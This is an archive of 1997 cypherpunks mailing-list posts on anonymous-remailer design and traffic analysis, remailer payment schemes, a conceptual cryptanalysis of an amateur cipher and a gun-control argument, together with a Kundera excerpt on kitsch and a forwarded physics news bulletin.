> 
> >For the sender to chain from remailer to remailer to destination the
> >destination has to be in the header info somewhere. Now in the most secure
> >system each packet header will only contain the address of the next hop. When
> >the next site gets it the packet contents are de-crypted (otherwise reading
> >the chaining info is trivial) and the contents are uncovered to reveal another
> >packet with the next hop header and another encrypted block. And on and on
> >we go.
> >
> ><Question: Are there any remailer sets that impliment the encrypted nested
> >           packet system?>
> 
> Jim Choate has been amazingly clueless throughout this discussion, but
> this takes the cake.  Does he really not know about encrypted nested
> chaining?  My God!  Of course remailers work this way, Jim.  They've
> worked this way practically from the beginning.  All remailers work this
> way. 

No they don't, all remailers do not encrypt their outgoing as a matter of
course (do any currently do it as a matter of course? I would bet not if I
were a gambler). The remailer you used to send this didn't use encryption on
its outgoing or else I wouldn't be able to read it. The last time I looked
about a year ago the vast majority of remailers didn't encrypt their outgoing
traffic as a matter of course, it required the user to do it (I suspect this
is still true). Furthermore I specificaly used the word 'set' to mean a group
of remailers acting in concert such that this encryption happened
automaticaly - I know the answer already - No, there are no sets (ie a
cooperative network) of remailers (Mixmaster operaters included) implimenting
this unless the user goes to extreme and does it all themselves. As a matter
of fact there appears to be little to no cooperation between remailer
operators. There are no remailer key servers to manage the server and user
keys so the user must contact each remailer and obtain the key which is
itself open to traffic analysis, note that such first contacts by definition
have to be in the clear. Hope that Mallet starts their analysis AFTER you
get your keys or else. If this process can't occur automagicaly there is
little commercial utility for the system - it's too cumbersome.

> The mixmaster remailers are built around this idea, making each
> packet a constant size and adding dummy packets as new ones are stripped
> off, so outgoing messages look just like incoming ones.

First off, the size of the packets in no way effects the succes of a traffic
analysis, only a cryptanalysis of their contents. Traffic analysis looks at
four things: the incoming packet header, the outgoing packet header, and
the times of receipt and transmission.

The idea behind latency is that if it is chosen correctly and the packet
re-transmission falls outside the analysis window there is no way to
correlate the incoming and outgoing traffic. From the analysis engines
perspective the events are distinct and non-related. Simply re-ordering the
packets at re-transmission time does nothing if I set the window larger than
the time it takes to resend the original traffic and the cover traffic.
Setting the analysis window to infinity also causes the analysis overhead to
grow quickly though this means that re-ordering and latency are irrelevant.

A party implimenting traffic analysis is probably not going to look at the
contents until they have a clear understanding of the traffic flow between
the surveiled parties. At that point it is cheaper to look at the involved
parties and see if one of them has a weakness that can be exploited (ie
offer immunity to a herion addict) over doing actual expensive
cryptanalysis. If you can subvert a member you are in the classic
man-in-the-middle position.

When the Austin Cpunks looked at Mixmaster about 1.5 years ago for several
months it became clear that as implimented currently Mixmaster can't easily
support public remailer key servers or automated non-user-involved chaining
and processing (encryption & decryption). Shure the packets look the same,
but unless you as the sender go in and manage that material you are shit out
of luck. The remailers can't do it themselves without user intervention,
that's economicly not viable.

> ><speculation: an encrypted chain could be made stronger if the next
> >              hop header depended on which key was used to decode it.
> >              In other words, remailer A's key will produce one next hop
> >              address while remailer B's key will send it elsewhere. This
> >              is a subset of the different plaintext - same cyphertext
> >              problem - a hard problem as I understand it. Find two
> >              distinct texts that encrypt with different keys to the
> >              same cyphertext>
> 
> That won't help.  There would be no point in doing this.  I'd ask you
> to explain, but that would just prolong the agony.

It is actualy quite simple why you would want to do this. You could then in
effect send the same packet (identical in every bit) to a set of remailers.
Each remailer would then decode the packet and send it on. All but one would
go to bogus addresses and the one remailer with the right key would get to
resend to the next remailer(s). Plus none of the outgoing traffic would be
to the same server, further complicating analysis. This also gives the user
some control over how much cover traffic gets generated. However Mallet
doesn't know which packets are which and therefore must follow every packet.
This multiplies the number of hops in the traffic analysis that need to be
analyzed. As mentioned in one of my previous posts, in this situation the
complexity goes up by a power causing the required computing resources to
trace the traffic to quickly become excessive.

Sine this is so painful for you, I assume this is the end of this
discussion.


    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: alexlh@xs4all.nl
Date: Fri, 3 Oct 1997 04:40:27 +0800
To: Matt Elliott <melliott@ncsa.uiuc.edu>
Subject: Re: "Show me an example of terrorists using the Internet or crypto"
In-Reply-To: <v0311070cb05857160cae@[141.142.103.240]>
Message-ID: <Pine.SUN.3.93.971002221244.25693B-100000@xs1.xs4all.nl>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, 1 Oct 1997, Matt Elliott wrote:

[snip]
> >You people just don't get it do you? A gun has one purpose: To kill. Just like
> >any other tool, a gun, if it is available _will_ be used at some point.
> 
> Yea, so what is your point.  As long as it is lawfull killing that seems to
> me to be the point to use a gun.  For lawfull purposes.  Criminals will
> always be using guns anyway.  If they take away guns people will just find
> another just as forcefull method of defending them selves.  I have a potato
> gun that will put a 3 inch hole in just about any living creature.  I'm
> going to take it deer hunting this winter.  It will be cool to say I shot a
> dear with a potato and a can of hair spray (the propelant)

I completely disagree. I bet you'd disagree too when the cops come to take
you away for using illegal crypto. It would be totally lawful. But that's
besides the point.

Killing people is NOT a good thing. It never is. It might be unavoidable
in a you-or-him situation, but that doesn't make it a good thing.

Would you like to be shot? No? Not even if someone else claims he has a
good reason to? I think this goes for most people. So the best that you
can do it claim that _you_ think there's a good reason to kill someone.
This is not a working theory for a community.

Alex

---
I dabble in techno-house and sometimes,
I do that badass hip-hop thang...
But the F U N K gets me every time!





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Phillip Hallam-Baker <hallam@ai.mit.edu>
Date: Fri, 3 Oct 1997 10:53:15 +0800
To: "'Attila T. Hun'" <cypherpunks@cyberpass.net>
Subject: RE: counter-intuitive -- spam is good for you.  anonymous assholes are your friend
Message-ID: <01BCCF84.84FC2100.hallam@ai.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain





On Thursday, October 02, 1997 11:54 AM, Attila T. Hun [SMTP:attila@hun.org] wrote:
>     if Phill is secure, what difference does it make if you assault
>     him?  my guess is he is not secure, and probably has no clue how
>     to get from there to secure.

Because when you ring the alarm bell on my system
it is answered by law enforcement and it costs about 
$10,000 a time to deal with the issue.

Setting off fire alarms costs real money. 


Incidentally the security line you are pushing is a crock.
To get real security I believe you have to have feedback
and monitoring. This is especially important in an institutional
setting where you may not have complete control of critical
infrastructure. For my application simply hoping the guys 
with the white hats find security holes before those in the 
black ones do is simply not enough.

In any case I'm not as complacent as Attila seems to think
the security model has been amply reviewed by the best
in the field.

Threatening to catch the malefactor and put him behind bars
is a valuable additional security tool. The more bad guys
there are behind bars the less time I have to spend worrying.

		Phill





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Antonomasia <ant@notatla.demon.co.uk>
Date: Fri, 3 Oct 1997 07:27:50 +0800
To: cypherpunks@ssz.com
Subject: Re: Quor's cipher
Message-ID: <199710022135.WAA02655@notatla.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




Antonomasia <ant@notatla.demon.co.uk> wrote:

> My attack takes a long chunk of known text and looks for repetition.
> 
> ppppppppppppppp.11.pppppppppppppppppppppp
> ccccccccccccccc.22.cccccccccccccccccccccc
> 
> When a two neighbouring p-c pairs are the same you can test
> whether they have the same value of a and b.
> (That is a_n == a_n+1 and b_n == b+n+1,   a != b usually.)
> 
> This involves 16 inputs to each byte - very cheap.
> What I really want next is to know "a".


nobody@REPLAY.COM wrote:

> Wouldn't this only happen (on average) in one out of every 65536 p-c
> pairs?

Yes (counting only those we test).

>         Since the state array is changed entirely with every 128 bytes
> encrypted, 1 out of 2^16 doesn't seem to help much.

This finding doesn't uncover a great deal, I agree, and what it does
uncover is transient.

1 out of 2^16 is the number of pairs we test to find a point
with the property we're looking for.  The measures to compare
this to are:
          message length                 several times 65k is fairly low
          cost of testing                low
          benefit of test when passed    also low  :-(

The changes are regular though, progressing through the array in two
places.  That's why I proposed testing neighbouring p-c pairs because
you can be almost sure the relevant state (and it's which part of the
state array is relevant that's uncertain) is the same for the two.  In
fact it would be nice to spot this:

ppppppppppppppp.11.ppppppppppppppppppppp
ccccccccccccccc.22.ccccccccccccccccccccc   

and see that a and b were the same, but the underlying
state array changed in a relevant way.  This would be indicated by
a slightly less than total match, but still rare enough not to be
a fluke.  This could allow you to test possible values of a and b,
and perhaps get 4 bits of a.  But a and b don't persist over nearby
bytes so I'm not clear what I'd do if I got them.

What it would be nice to have next is a more damaging result emerge
from this or some other observation so that we could determine more
of the state without going to long range comparisons.  This cypher
is constructed differently from RC4 or fish - not as simple as WAKE
but broadly comparable to Sapphire II.   I think I'll enlist the help
of a search engine.  It's more than likely there other things waiting
to be done to this.  Quor's friend 'nobody' has actually put some crypto
on the list -let's see what we can do with/to it.


--
##############################################################
# Antonomasia   ant@notatla.demon.co.uk                      #
# See http://www.notatla.demon.co.uk/                        #
##############################################################





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike Duvos <enoch@zipcon.net>
Date: Fri, 3 Oct 1997 13:45:36 +0800
To: cypherpunks@cyberpass.net
Subject: Kevin Harris Charges Dismissed
Message-ID: <19971003054144.19104.qmail@zipcon.net>
MIME-Version: 1.0
Content-Type: text/plain



An Idaho magistrate dismissed state murder and other charges against Ruby
Ridge defendent Kevin Harris today, citing double jeopardy.

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     enoch@zipcon.com   $    via Finger                       $
         {Free Cypherpunk Political Prisoner Jim Bell}






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Fri, 3 Oct 1997 11:28:33 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: None (fwd)
Message-ID: <199710030342.WAA29338@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Fri, 3 Oct 1997 04:05:48 +0200 (MET DST)
> Subject: Re: Remailers and ecash
> From: nobody@REPLAY.COM (Anonymous)

> A pinging system can be set up to verify that all the remailers are
> operating correctly.

It will certaily tell you if the system is network aware, as to internal
operation and its validity it says nothing. If you want to test it you must
send each remailer in the network a message with a final destination of the
source. If you don't get it back you know the remailer is not online. This
is called a 'loopback'.

> Thus forwarding within the remailer network is free,

So as long as I only send traffic to other remailers the electricity and
such are not charged? How does my local electric company measure this?
If the remailer is turned on there is a cost. Unless you are getting charged
by the packet the cost of operating is indipenant of the traffic until you
have to increase your clogged pipe. Commercialy irrelevant approach.

> insert new messages.  This scheme is a little more flexible than attaching
> ecash to each message because you can arrange any type of fee schedule you
> like, such as a flat rate per month.

But it doesn't pay for the cover traffic. It also short changes the
man-in-the-middle remailers since they have to spend resources without
getting recompensed. This would indicate that there is little financial
motive to operate a remailer that deals only with other remailers.

> There's also the reverse of this, where remailers accept from anyone, but
> only send to other remailers.  Thus you have to pay to get your messages
> out of the remailer network.  This is more restrictive because the payment
> must be anonymous.

So what keeps me from submitting message after message and never pulling
them out? I guess you just keep paying the bills to pay for the increasing
traffic and the need to increase your pipe to carry it. Commercialy
irrelevant. Also, consider the exponential expansion from cover traffic.

> Sign up with an ISP that offers alt.anonymous.messages.  This one is a
> no-brainer. (and profitable for the ISP)
> 
> This results in a system where sending messages is essentially free (since
> free remailers exist) but it costs money to receive them.  So far it seems
> to be successful, at least for those who pay a flat fee for usenet access.

So what if I use a free-net or perhaps one of the free machines at the
public library or at the local college? Or the system at work?


    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Fri, 3 Oct 1997 11:39:40 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Remailer advertising (fwd)
Message-ID: <199710030353.WAA29549@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Thu, 02 Oct 1997 10:31:37 -0400
> From: "Robert A. Costner" <pooh@efga.org>
> Subject: Re: Remailer advertising

> this, and decided that users would be bothered by getting return email when
> they send the remailer a message.  We considered sending a return message
> not with each message, but say only once per month, or only once every two
> weeks.  Feedback I got on this was that users would not like the remailer
> acknowledging them.

Of course not:

 -   it provides even more non-covered traffic for Mallet to analyze

 -   it proves that the remailer is keeping long-term records of its
     activity, further prompting Mallet to use rubber-hose crypto or
     a covert break-in to recover the data.

A commercial remailers should keep no records and this means that each
submission must include some form of token for immediate payment of access
fees. Further, a secure remailer should NEVER send traffic to a subscriber
as the result of anything other than normal traffic handling.


    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Fri, 3 Oct 1997 05:31:58 +0800
To: cypherpunks@cyberpass.net
Subject: Re: "Show me an example of terrorists using the Internet or crypto"
Message-ID: <199710022114.XAA25096@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Alex Le Heux wrote:
>>>You people just don't get it do you? A gun has one purpose: To
>>>kill. Just like any other tool, a gun, if it is available _will_ be
>>>used at some point.
>>
>>Although guns are obviously designed for killing things, this does
>>not mean that they will be used.  This can be seen from the
>>statistics.  There are far fewer murders than there are guns.
>>Almost all of them are never used for killing someone.
>
>You can't deny that the more guns there are available, the more
>people will get shot.

Oh yes, I can.  In fact, I believe the opposite is the case.  The
statistics bear this out.  But, your claim was that a weapon will
eventually be used to kill somebody.  I guess it's clear at this point
that this was wildly inaccurate.

>There may be some people that are capable of owning a gun and using
>it wisely (ie. not), but I don't believe that this is a significant
>fraction of any population.

You should come to the United States and spend some time around the
shooting community.  The people are real pleasant, real easy to get
along with, and real careful with their weapons.

>>You are also not considering the case where one person has a gun and
>>another does not.  The situation is more stable if both people are
>>armed.  (And don't claim you are talking about disarming a whole
>>society.  You aren't, just part of it.)
>
>Urgl? The situation only becomes more explosive if both sides are
>armed.

That can occur, but in general nobody likes to be shot.  Even if you
are going to shoot your opponent regardless, if he has a gun you move
more cautiously.

>Look at the arms race, which is now, thank god, over. I am amazed at
>the amount of restraint both sides displayed during that time,
>although it's been really close a few times.

What would have happened if the Russians didn't develop nuclear
weapons?  I think they would have been nuked sooner or later, don't
you?

And, we aren't talking about an arms race, here.  We are talking about
whether citizens are allowed to own a few rifles.

>It's really simple: If there are no guns, no one will get shot.

You will find this difficult to achieve, however.

>I _am_ talking about disarming a population. I don't know which 'it'
>I'm not part of, but I am definately not part of the 'it' that
>promotes death by gunshot.

You are not talking about disarming the police and the military are
you?  Just as I thought: you only want to disarm the civilians.
That's not such a great idea, judging by history.

>>>So making sure there are lots of guns around only serves to make a
>>>lot of people very dead. This is a Bad Thing.
>>
>>Depends who they are.  Bet the Dutch resistance made good use of
>>their weaponry, eh?
>
>Even if they did, dead people are still a Bad Thing. We had no
>quarrel with the soldiers the resistance killed. Neither did most of
>them had any quarrel with us. Just like the US troopers in Vietnam or
>some other place.

Are you arguing that the Dutch resistance should not have resisted?  I
believe they did the right thing, myself.  I do not believe it was a
Bad Thing.  I believe it was a Good Thing.  I believe they did not
kill enough people.

>>Be aware that the gun control lobby has often used misleading
>>statistics.  For instance, you will hear a lot about "handgun
>>deaths".  It turns out that most of these are suicides.  While
>>undesirable, most people perceive a difference between somebody
>>killing themselves and a nutcase doing his thing at a school.
>
>I am not the gun control lobby,...

No, but it appeared that you may have been misled by them.

>I am a citizen in a mostly gun-free society, and glad of it. People
>getting shot here, be it robbery, suicide, police violence or self
>defence is a rare occurence.

Police violence is caused by gun ownership?  I doubt this very much.

>Over her, drive-by shootings are something from fairy tales.

Oddly enough, this is mostly true here as well.

It is unclear what is magical about the words "drive by shooting."  I
believe this phrase lacks real content and is simply a trigger for
hysteria.

The implication is that people are randomly firing on people in the
streets.  While this may occur once in a great while, it is extremely
uncommon.  Usually people kill for a reason.  Usually they are trying
to kill their enemies.  In the U.S., this is often related to the
black market.

Whether somebody kills their enemy from a car or not is irrelevant.

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.html

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=/9qs
-----END PGP SIGNATURE-----







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Fri, 3 Oct 1997 12:09:25 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Traffic Analysis (fwd)
Message-ID: <199710030423.XAA29605@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Thu, 02 Oct 1997 23:28:10 -0400
> From: "Robert A. Costner" <pooh@efga.org>
> Subject: Traffic Analysis

> I'm curious about traffic analysis capability.  While I don't know the
> exact figures involved, I'd say that Cracker throws away about 10% of the
> messages it receives.  Admittedly, these are probably not encrypted
> messages (I don't know.  Humans do not get to read the messages.)  Does
> this make traffic analysis more difficult?

Why/how does it decide to throw them away? Does the incoming produce cover
traffic even if its thrown away? Traffic analysis generaly does not look at
the contents of the packets, encrypted or not is irrelevant.

I suspect it would lower the estimated ratio of cover traffic if nothing
gets sent out. This would in general lower the cost to analyse the traffic.
I would set it up to send bogus outgoing even if the message was dropped.
That way the analysis would correlate the dropped message to the outgoing
and produce a cover ratio closer to the actual value. Also remember to send
n+1 bogus traffic to make up for the dropped outgoing.

> Or suppose Redneck sent each nym an encrypted message each day, or more
> often?

By 'nym' you mean each subscribed address or to each address used in the
outgoing? I would say it is bad to send to subscribers. It provides
non-covered traffic that identifies your subscribers specificaly (really not
a threat since Mallet already has their original incoming and therefore
their source address) as well as demonstrating that you are keeping long-term
traffic records. The long-term records represent a clear threat to the
security and stability of the remailer. If you send out this cover traffic
regularly then be shure to use some mechanism to select email addresses
randomly or else Mallet will get a list of your bogus addresses and begins
to filter them immediately.

A commercial remailer should not keep records of its use. However, I suspect
that eventualy remailers will be required to keep usage records by law.


    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Robert A. Costner" <pooh@efga.org>
Date: Fri, 3 Oct 1997 11:35:40 +0800
To: cypherpunks@cyberpass.net
Subject: Traffic Analysis
Message-ID: <3.0.3.32.19971002232810.03514efc@rboc.net>
MIME-Version: 1.0
Content-Type: text/plain



I'm curious about traffic analysis capability.  While I don't know the
exact figures involved, I'd say that Cracker throws away about 10% of the
messages it receives.  Admittedly, these are probably not encrypted
messages (I don't know.  Humans do not get to read the messages.)  Does
this make traffic analysis more difficult?

On the other side, if Cracker were to send out more messages that it takes
in, or just replace these thrown away messages with random noise messages,
perhaps encrypted, would this foil traffic analysis?

Or suppose Redneck sent each nym an encrypted message each day, or more
often?  This would be a pure nonsense message just sent out to foil traffic
analysis.  Since the server generated the nonsense message internally,
there would be no matching incoming message for Redneck.


  -- Robert Costner                  Phone: (770) 512-8746
     Electronic Frontiers Georgia    mailto:pooh@efga.org  
     http://www.efga.org/            run PGP 5.0 for my public key





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Fri, 3 Oct 1997 11:33:46 +0800
To: cypherpunks@cyberpass.net
Subject: Kitsch!
Message-ID: <75c67c8f9904d007da656e3085a83f1b@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

- From the "Unberable Lightness of Being" by Milan Kundera.
Part Six, "The Grand March"

Section 6

  Sabina's initial inner revolt against Communism was aesthetic rather
than ethical in character.  What repelled her was not nearly so much
the ugliness of the Communist world (ruined castles transformed into
cow sheds) as the mask of beauty it tried to wear - in other words,
Communist kitsch.  The model of Communist kitsch is the ceremony
called May Day.
  She had seen May Day parades during the time when people were still
enthusiastic or still did their best to feign enthusiasnm.  The women
all wore red, white, adn blue blouses, and the public, looking on from
balconies and windows, could make out various five-pointed stars,
hearts, and letters when the marchers went into formation.  Small
brass bands accompanied the individual groups, keeping everyone in
step.  As a group approached the reviewing stand, even the most blase
faces would beam with dazzling smiles, as if trying to prove they were
properly joyful or, to be more precise, in proper agreement.  Nor were
they merely expressing political agreement with Communism; no, theirs
was an agreement with being as such.  The May Day ceremony drew its
inspiration from the deep well of the categorical agreement with
being.  The unwritten, unsung motto of the parade was not "Long live
Communism!" but "Long live life!"  The power and cunning of Communist
politics lay in the fact that it appropriated this slogan.  For it was
this idiotic tautology ("Long live life!") which attracted people
indifferent to the theses of Communism to the Communist parade.

Section 7

  Ten years later (by which time she was living in America), a friend
of some friends, an American senator, took Sabina for a drive in his
gigantic car, his four children bouncing up and down in the back.  The
senator stopped the car in front of a stadium with an artificial
skating rink, and the children jumped out and started running along
the large expanse of grass surrounding it.  Sitting behind the wheel
and gazing dreamily after the four little bounding figures, he said to
Sabina, "Just look at them."  And describing a circle with his arm, a
circle that was meant to take in stadium, grass, and children, he
added, "Now, that's what I call happiness."
  Behind his words there was more than joy at seeing children run and
grass grow; there was a deep understanding of the plight of a refugee
from a Communist country where, the senator was convinced, no grass
grew and no children ran.
  At that moment an image of the senator standing on a reviewing stand
in a Prague square flashed through Sabina's mind.  The smile on his
face was the smile Communist statesmen beamed from the height of their
reviewing stand to the identically smiling citizens in the parade
below.

Section 8

  How did the senator know that children meant happiness?  Could he
see into their souls?  What if, the moment they were out of sight,
three of them jumped the fourth and began beating him up?
  The senator had only one argument in his favor: his feeling.  When
the heart speaks, the mind finds it indecent to object.  In the realm
of kitsch, the dictatorship of the heart reigns supreme.
  The feeling induced by kitsch must be a kind the multitudes can
share.  Kitsch may not, therefore, depend on an unusual situation; it
must derive from the basic images people have engraved in their
memories: the ungrateful daughter, the neglected father, children
running on the grass, the motherland betrayed, first love.
  Kitsch causes two tears to flow in quick succession.  The first tear
says: How nice to see children running on the grass!
  The second tear says: How nice to be moved, together with all
mankind, by children running on the grass!
  It is the second tear that makes kitsch kitsch.
  The brotherhood of man on earth will be possible only on a base of
kitsch.

Section 9

  And no one knows this better than politicians.  Whenever a camera is
in the offing, they immediately run to the nearest child, lift it in
the air, kiss it on the cheek.  Kitsch is the aesthetic ideal of all
politicians and all political parties and movements.
  Those of us who live in a society where various political tendencies
exist side by side and competing influences cancel or limit one
another can manage more or less to escape the kitsch inquisition: the
individual can preserve his individuality; the artist can create
unusual works.  But whenever a single political movement corners
power, we find ourselves in the realm of totalitarian kitsch.
  When I say "totalitarian," what I mean is that everything that
infringes on kitsch must be banished for life: every display of
individualism (because a deviation from the collective is a spit in
the eye of the smiling brotherhood); every doubt (because anyone who
starts doubting details will end by doubting life itself); all irony
(because in the realm of kitsch everything must be taken quite
seriously); and the mother who abandons her family or the man who
prefers men to women, thereby calling into question the holy decree
"Be fruitful and multiply."
  In this light, we can regard the gulag as a septic tank used by
totalitarian kitsch to dispose of its refuse.

Section 10

  The decade immediately following the Second World War was a time of
the most horrible Stalinist terror.  It was the time when Tereza's
father was arrested on some piddling charge and ten-year-old Tereza
was thrown out of their flat.  It was also the time when
twenty-year-old Sabina was studying at the Academy of Fine Arts.
There, her professor of Marxism expounded on the following theory of
socialist art: Soviet society had made such progress that the basic
conflict was no longer between good and evil but between good and
better.  So shit (that is, whatever is essentially unacceptable) could
exist only "on the other side" (in America, for instance), and only
from there, from the outside, as something alien (a spy, for
instance), could it penetrate the world of "good and better."
  And in fact, Soviet films, which flooded the cinemas of all
Communist countries in that cruelest of times, were saturated with
incredible innocence and chastity.  The greatest conflict that could
occur between two Russians was a lovers' misunderstanding: he thought
she no longer loved him; she thought he no longer loved her.  But in
the final scene they would fall into each other's arms, tears of
happiness trickling down their cheeks.
  The current conventional interpretation of these films is this: that
they showed the Communist ideal, whereas Communist reality was worse.
  Sabina always rebelled against that interpretation.  Whenever she
imagined the world of Soviet kitsch becoming a reality, she felt a
shiver run down her back.  She would unhesitatingly prefer life in a
real Communist regime with all its persecution and meat queues.  Life
in the real Communist world was still livable.  In the world of the
Communist ideal made real, in that world of grinning idiots, she would
have nothing to say, she would die of horror within a week.
  The feeling Soviet kitsch evoked in Sabina strikes me as very much
like the horror Tereza experienced in her dream of being marched
around a swimming pool with a group of naked women and forced to sing
cheerful songs with them while corpses floated just below the surface
of the pool.  Tereza could not address a single question, a single
word, to any of the women; the only response she would have got was
the next stanza of the current song.  She could not even give any of
them a secret wink; they would immediately have pointed her out to the
man standing in the basket above the pool, and he would have shot her
dead.
  Tereza's dream reveals the true function of kitsch: kitsch is a
folding screen set up to curtain off death.

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Fri, 3 Oct 1997 12:46:22 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: update.339 (fwd)
Message-ID: <199710030500.AAA29731@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> From physnews@aip.org Thu Oct  2 16:07:42 1997
> Date: Thu, 2 Oct 97 12:42:29 EDT
> From: physnews@aip.org (AIP listserver)
> Message-Id: <9710021642.AA00390@aip.org>
> To: physnews-mailing@aip.org
> Subject: update.339
> 
> 
> PHYSICS NEWS UPDATE                         
> The American Institute of Physics Bulletin of Physics News
> Number 339  October 1, 1997   by Phillip F. Schewe and Ben
> Stein
> 
> A NEW THEORY OF NMR FOR EXTENDED OBJECTS. 
> Nuclear magnetic resonance (NMR) isn't just an imaging
> technique, but a valuable spectroscopic tool for deducing the
> chemical environment and structural layout of atoms in different
> environments. This is because the NMR spectrum of an atom (or
> to be more precise, the spectrum of the atom's nuclear magnetic
> states) is different depending on the local geometry, just as an
> atom's allowed electron energies will be different if the atom is
> suddenly lodged in a crystal with many other atoms.  Previous
> NMR theories have been able to explain accurately what the
> NMR spectrum ought to be only for atoms or atom clusters in
> isolation. Now, physicists at UC Berkeley (Steven Louie,
> louie@jungle.berkeley.edu, 510-642-1709) have devised a
> method which for the first time makes possible rigorous
> calculations of the NMR spectra of extended systems such as
> crystals, surfaces, polymers, or even amorphous materials; given
> the coordinates of the atoms, the Berkeley researchers were able
> to predict the spectrum. They tried out their theory on an
> industrially important material---synthetic diamond films used,
> for example, as coatings for tools and engine parts.  The
> prediction of the NMR spectrum for carbon atoms in the diamond
> films was in close agreement with the observed spectrum. 
> (Francesco Mauri et al., Physical Review Letters, 22 Sept.
> 1997.)

Hell of a way to reverse-engineer just about anything. How long you figure
it will be before they start coming out wit industrial units just for
materials analysis?  I wonder how good it would be at determing the layout
of a die through the carrier...

> PARTICLE IDENTIFICATION WITH PROBE MICROSCOPY. 
> Scanning tunneling microscopes (STM) provide pretty pictures of
> atoms and can even be used to pluck single atoms from the
> sample surface.  But often the identity of that atom (especially if
> it is an impurity) remains unknown.  Physicists at Arizona State
> (John Spence, Uwe Weierstall, weierstall@asu.edu) have
> addressed this problem.  First, they use a small voltage to remove
> a surface atom or molecule with an STM probe; then a larger
> voltage launches the object from the probe toward a distant
> detector.  A measurement of the time of flight (TOF) supplies a
> mass-to-charge ratio for the mystery particle, which in most cases
> will supply the identity of the unknown species. The best
> resolution achieved by other methods of chemical identification
> on surfaces is about 2 nm.  This new STM + TOF identification,
> with essentially atomic-level resolution, should be handy in a
> number of research areas, such as catalysis and the study of the
> role of foreign atoms at kinks and steps in crystal growth.  This
> work will be reported in a session (NS-TuA, Oct. 21) at the
> upcoming meeting of the American Vacuum Society (Oct. 20-24
> in San Jose). The program for this meeting can be viewed on the
> Internet at this address:
> www.vacuum.org/symposium/program.html.  (General press
> contact at the meeting: 408-271-6000.)

Pretty nifty materials analysis tool. Maybe they should shoot the atom toward
the NMR...

> FISSION HELPS SUPERCONDUCTIVITY.  One of the
> problems of using high temperature superconductors as wires in
> magnets is that the bundles of magnetic field lines that normally
> stay put in the presence of low currents start to move around
> (dissipating energy thereby) when larger currents are sent through
> the wire sample. Scientists working at Los Alamos have now
> used a proton beam to induce nuclear fission in mercury atoms in
> a mercury/copper oxide superconductor.  The defects caused by
> the fissioning atoms splay out in all directions in the
> superconductor crystal and help to snag the wayward field lines.
> This permits the sample to carry much more current.  (Nature, 18
> Sept.) 




